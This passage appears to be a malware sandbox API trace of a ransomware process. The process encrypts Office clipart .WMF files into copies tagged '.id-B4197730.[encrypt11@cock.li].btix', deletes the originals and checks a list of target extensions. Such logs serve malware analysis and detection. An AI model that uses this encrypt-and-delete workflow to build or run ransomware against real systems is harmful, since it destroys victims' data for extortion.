lpOverlapped=0x0) returned 1 [0132.915] ReadFile (in: hFile=0x500, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.915] WriteFile (in: hFile=0x504, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0132.915] SetEndOfFile (hFile=0x504) returned 1 [0132.915] CloseHandle (hObject=0x504) returned 1 [0132.915] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.916] SetEndOfFile (hFile=0x500) returned 1 [0132.918] CloseHandle (hObject=0x500) returned 1 [0132.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0132.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0132.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0132.919] lstrlenW (lpString=".doc") returned 4 [0132.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.919] lstrlenW (lpString=".docx") returned 5 [0132.919] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.919] lstrlenW (lpString=".pdf") returned 4 [0132.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.919] lstrlenW (lpString=".xls") returned 4 [0132.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.919] lstrlenW (lpString=".xlsx") returned 5 [0132.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.919] lstrlenW (lpString=".ppt") returned 4 [0132.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0132.919] lstrlenW (lpString=".zip") returned 4 [0132.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.919] lstrlenW (lpString=".rar") returned 4 [0132.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.919] lstrlenW (lpString=".bz2") returned 4 [0132.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.919] lstrlenW (lpString=".7z") returned 3 [0132.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0132.920] lstrlenW (lpString=".dbf") returned 4 [0132.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0132.920] lstrlenW (lpString=".1cd") returned 4 [0132.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0132.920] lstrlenW (lpString=".jpg") returned 4 [0132.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0132.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0132.920] lstrlenW (lpString=".doc") returned 4 [0132.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.920] lstrlenW (lpString=".docx") returned 5 [0132.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.920] lstrlenW (lpString=".pdf") returned 4 [0132.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.920] lstrlenW (lpString=".xls") returned 4 [0132.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.920] lstrlenW (lpString=".xlsx") returned 5 [0132.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.920] lstrlenW (lpString=".ppt") returned 4 [0132.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0132.920] lstrlenW (lpString=".zip") returned 4 [0132.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.920] lstrlenW (lpString=".rar") returned 4 [0132.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.920] lstrlenW (lpString=".bz2") returned 4 [0132.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.920] lstrlenW (lpString=".7z") returned 3 [0132.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0132.920] lstrlenW (lpString=".dbf") returned 4 [0132.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0132.921] lstrlenW (lpString=".1cd") returned 4 [0132.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0132.921] lstrlenW (lpString=".jpg") returned 4 [0132.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.921] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.921] lstrlenW (lpString="HH01759_.WMF") returned 12 [0132.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0132.940] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=5414) returned 1 [0132.940] CloseHandle (hObject=0x4a8) returned 1 [0132.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220 [0133.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0133.276] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.276] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0133.277] GetLastError () returned 0x0 [0133.277] ReadFile (in: hFile=0x52c, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x1526, lpOverlapped=0x0) returned 1 [0133.347] WriteFile (in: hFile=0x530, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x1530, lpOverlapped=0x0) returned 1 [0133.348] ReadFile (in: hFile=0x52c, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.348] WriteFile (in: hFile=0x530, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0133.348] SetEndOfFile (hFile=0x530) returned 1 [0133.348] CloseHandle (hObject=0x530) returned 1 [0133.348] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.348] SetEndOfFile (hFile=0x52c) returned 1 [0133.350] CloseHandle (hObject=0x52c) returned 1 [0133.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0133.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0133.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0133.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0133.351] lstrlenW (lpString=".doc") returned 4 [0133.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.351] lstrlenW (lpString=".docx") returned 5 [0133.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.351] lstrlenW (lpString=".pdf") returned 4 [0133.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.351] lstrlenW (lpString=".xls") returned 4 [0133.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.351] lstrlenW (lpString=".xlsx") returned 5 [0133.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.351] lstrlenW (lpString=".ppt") returned 4 [0133.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0133.351] lstrlenW (lpString=".zip") returned 4 [0133.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.351] lstrlenW (lpString=".rar") returned 4 [0133.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.352] lstrlenW (lpString=".bz2") returned 4 [0133.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.352] lstrlenW (lpString=".7z") returned 3 [0133.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0133.352] lstrlenW (lpString=".dbf") returned 4 [0133.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0133.352] lstrlenW (lpString=".1cd") returned 4 [0133.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0133.352] lstrlenW (lpString=".jpg") returned 4 [0133.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0133.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0133.352] lstrlenW (lpString=".doc") returned 4 [0133.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.352] lstrlenW (lpString=".docx") returned 5 [0133.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.352] lstrlenW (lpString=".pdf") returned 4 [0133.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.352] lstrlenW (lpString=".xls") returned 4 [0133.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.352] lstrlenW (lpString=".xlsx") returned 5 [0133.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.352] lstrlenW (lpString=".ppt") returned 4 [0133.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0133.352] lstrlenW (lpString=".zip") returned 4 [0133.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.353] lstrlenW (lpString=".rar") returned 4 [0133.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.353] lstrlenW (lpString=".bz2") returned 4 [0133.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.353] lstrlenW (lpString=".7z") returned 3 [0133.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0133.353] lstrlenW (lpString=".dbf") returned 4 [0133.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0133.353] lstrlenW (lpString=".1cd") returned 4 [0133.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0133.353] lstrlenW (lpString=".jpg") returned 4 [0133.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.353] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0133.353] lstrlenW (lpString="HH02166_.WMF") returned 12 [0133.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0133.368] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=1324) returned 1 [0133.368] CloseHandle (hObject=0x4c0) returned 1 [0133.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220 [0133.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0133.369] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.369] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0133.369] GetLastError () returned 0x0 [0133.369] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x52c, lpOverlapped=0x0) returned 1 [0133.401] WriteFile (in: hFile=0x4b4, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x530, lpOverlapped=0x0) returned 1 [0133.402] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.402] WriteFile (in: hFile=0x4b4, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0133.402] SetEndOfFile (hFile=0x4b4) returned 1 [0133.402] CloseHandle (hObject=0x4b4) returned 1 [0133.403] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.403] SetEndOfFile (hFile=0x4c0) returned 1 [0133.423] CloseHandle (hObject=0x4c0) returned 1 [0133.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0133.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0133.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0133.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0133.437] lstrlenW (lpString=".doc") returned 4 [0133.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.437] lstrlenW (lpString=".docx") returned 5 [0133.437] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.437] lstrlenW (lpString=".pdf") returned 4 [0133.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.437] lstrlenW (lpString=".xls") returned 4 [0133.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.437] lstrlenW (lpString=".xlsx") returned 5 [0133.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.437] lstrlenW (lpString=".ppt") returned 4 [0133.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0133.438] lstrlenW (lpString=".zip") returned 4 [0133.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.438] lstrlenW (lpString=".rar") returned 4 [0133.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.438] lstrlenW (lpString=".bz2") returned 4 [0133.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.438] lstrlenW (lpString=".7z") returned 3 [0133.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0133.438] lstrlenW (lpString=".dbf") returned 4 [0133.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0133.438] lstrlenW (lpString=".1cd") returned 4 [0133.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0133.438] lstrlenW (lpString=".jpg") returned 4 [0133.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0133.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0133.438] lstrlenW (lpString=".doc") returned 4 [0133.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.438] lstrlenW (lpString=".docx") returned 5 [0133.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.438] lstrlenW (lpString=".pdf") returned 4 [0133.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.438] lstrlenW (lpString=".xls") returned 4 [0133.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.438] lstrlenW (lpString=".xlsx") returned 5 [0133.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.438] lstrlenW (lpString=".ppt") returned 4 [0133.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0133.438] lstrlenW (lpString=".zip") returned 4 [0133.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.438] lstrlenW (lpString=".rar") returned 4 [0133.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.439] lstrlenW (lpString=".bz2") returned 4 [0133.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.439] lstrlenW (lpString=".7z") returned 3 [0133.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0133.439] lstrlenW (lpString=".dbf") returned 4 [0133.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0133.439] lstrlenW (lpString=".1cd") returned 4 [0133.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0133.439] lstrlenW (lpString=".jpg") returned 4 [0133.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.439] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0133.439] lstrlenW (lpString="HH02282_.WMF") returned 12 [0133.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0133.729] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=7932) returned 1 [0133.729] CloseHandle (hObject=0x4a8) returned 1 [0133.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220 [0133.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0133.732] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.732] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0133.915] GetLastError () returned 0x0 [0133.915] ReadFile (in: hFile=0x534, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x1efc, lpOverlapped=0x0) returned 1 [0134.292] WriteFile (in: hFile=0x430, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x1f00, lpOverlapped=0x0) returned 1 [0134.293] ReadFile (in: hFile=0x534, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.293] WriteFile (in: hFile=0x430, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, 